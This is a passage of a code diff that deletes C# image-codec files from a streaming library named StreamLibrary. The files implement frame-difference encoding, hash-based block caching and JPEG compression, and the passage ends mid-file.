NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
DataLength -= 6 + temp.Length;
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,374 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
SortedList<int, byte[]> codeCached;
|
||||
SortedList<int, byte[]> decodeCached;
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return codeCached.Count; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
private CRC32 hasher;
|
||||
public int MaxBuffers { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallCachedStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
codeCached = new SortedList<int, byte[]>();
|
||||
decodeCached = new SortedList<int, byte[]>();
|
||||
hasher = new CRC32();
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<CacheInfo> finalUpdates = new List<CacheInfo>();
|
||||
const int CheckHeight = 50;
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
y = Blocks[i].Y;
|
||||
lasty = (Blocks[i].Y + Blocks[i].Height);
|
||||
|
||||
while (y != lasty)
|
||||
{
|
||||
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
/*byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
|
||||
|
||||
//hash it and see if exists in cache
|
||||
hasher = new CRC32(); //re-initialize for seed
|
||||
byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
|
||||
|
||||
if (codeCached.Count >= MaxBuffers)
|
||||
codeCached.RemoveAt(0);
|
||||
|
||||
if (codeCached.ContainsKey(hash))
|
||||
{
|
||||
CachedSize += (ulong)tempData.Length;
|
||||
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
|
||||
}
|
||||
else
|
||||
{
|
||||
//nothing found in cache let's use the normal way
|
||||
codeCached.Add(hash, tempData);
|
||||
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
y += ScanHeight;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
buffer = new byte[0];
|
||||
Rectangle rect = finalUpdates[i].Rect;
|
||||
|
||||
if (!finalUpdates[i].isCached)
|
||||
{
|
||||
fixed (byte* ptr = finalUpdates[i].Data)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 6) + 1;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
List<CacheInfo> cacheInfo = new List<CacheInfo>();
|
||||
byte[] HeaderData = new byte[(4 * 6) + 1];
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
inStream.Read(HeaderData, 0, HeaderData.Length);
|
||||
|
||||
bool isCached = HeaderData[0] == 1;
|
||||
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
|
||||
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
|
||||
int Hash = BitConverter.ToInt32(HeaderData, 17);
|
||||
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
|
||||
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
//process update data
|
||||
if (isCached)
|
||||
{
|
||||
//data is cached
|
||||
if (decodeCached.ContainsKey(Hash))
|
||||
buffer = decodeCached[Hash];
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
|
||||
}
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
if (buffer.Length > 0)
|
||||
{
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
|
||||
tmp.Dispose();
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
}
|
||||
|
||||
if (decodeCached.Count >= MaxBuffers)
|
||||
decodeCached.RemoveAt(0);
|
||||
|
||||
if(!decodeCached.ContainsKey(Hash))
|
||||
this.decodeCached.Add(Hash, buffer);
|
||||
DataSize -= UpdateLen + HeaderData.Length;
|
||||
}
|
||||
|
||||
int CachedSize = 0;
|
||||
foreach(CacheInfo inf in cacheInfo)
|
||||
{
|
||||
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
|
||||
|
||||
|
||||
}
|
||||
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private class CacheInfo
|
||||
{
|
||||
public bool isCached = false;
|
||||
public byte[] Data;
|
||||
public int Hash;
|
||||
public Rectangle Rect;
|
||||
|
||||
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.isCached = isCached;
|
||||
this.Data = Data;
|
||||
this.Rect = Rect;
|
||||
}
|
||||
|
||||
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
|
||||
{
|
||||
if (ScanRects.Count > 0)
|
||||
{
|
||||
int scanX = ScanRects[0].X;
|
||||
for (int i = 0; i < ScanRects.Count; i++)
|
||||
{
|
||||
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
|
||||
Rectangle rect = ScanRects[i];
|
||||
rect.Width = scanWidth;
|
||||
rect.X = scanX;
|
||||
byte[] buffer = new byte[0];
|
||||
sBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
|
||||
|
||||
if (!HashList.ContainsKey(hash))
|
||||
HashList.Add(hash, rect);
|
||||
|
||||
//fixed (byte* ptr = buffer)
|
||||
//{
|
||||
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
// {
|
||||
// buffer = codec.lzwCompression.Compress(TmpBmp);
|
||||
//
|
||||
// }
|
||||
//}
|
||||
|
||||
scanX += scanWidth;
|
||||
}
|
||||
}
|
||||
}*/
|
||||
}
|
||||
}
|
||||
}
|
@ -1,266 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Encode the image
|
||||
/// </summary>
|
||||
/// <param name="bitmap">The image you want to encode.</param>
|
||||
/// <param name="outStream">The output stream</param>
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
sbBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Decode the video stream
|
||||
/// </summary>
|
||||
/// <param name="inStream">The input stream</param>
|
||||
/// <returns>The image that has been decoded</returns>
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= buffer.Length + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
internal class GridBlock
|
||||
{
|
||||
public Rectangle Rect { get; private set; }
|
||||
public ulong Hash { get; private set; }
|
||||
private GridEncoder encoder;
|
||||
|
||||
public GridBlock(Rectangle Rect, GridEncoder encoder)
|
||||
{
|
||||
this.encoder = encoder;
|
||||
this.Rect = Rect;
|
||||
CalculateHash();
|
||||
}
|
||||
|
||||
public void CalculateHash()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
public class GridEncoder : IEncoder
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
|
||||
{
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,46 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IEncoder
|
||||
{
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IEncoder(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
|
||||
|
||||
}
|
||||
}
|
@ -1,324 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCacheCodec : IUnsafeCodec
|
||||
{
|
||||
private const int BlockCount = 5;
|
||||
private const int HashBlockCount = 8192;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Bitmap decodedBitmap;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private PixelFormat EncodedFormat;
|
||||
private MurmurHash2Unsafe hasher;
|
||||
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
|
||||
private Rectangle[] Offsets;
|
||||
private BlockInfo[] EncodeHashBlocks;
|
||||
private BlockInfo[] DecodeHashBlocks;
|
||||
|
||||
public ulong EncodedFrames { get; private set; }
|
||||
public ulong DecodedFrames { get; private set; }
|
||||
|
||||
public UnsafeCacheCodec(int ImageQuality = 80)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.hasher = new MurmurHash2Unsafe();
|
||||
this.Offsets = new Rectangle[BlockCount];
|
||||
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
for (int i = 0; i < HashBlockCount; i++)
|
||||
{
|
||||
EncodeHashBlocks[i] = new BlockInfo();
|
||||
DecodeHashBlocks[i] = new BlockInfo();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
if (ImageSize.Width == 0 || ImageSize.Height == 0)
|
||||
throw new ArgumentException("The width and height must be 1 or higher");
|
||||
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
|
||||
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
|
||||
|
||||
int PixelSize = 0;
|
||||
switch (Format)
|
||||
{
|
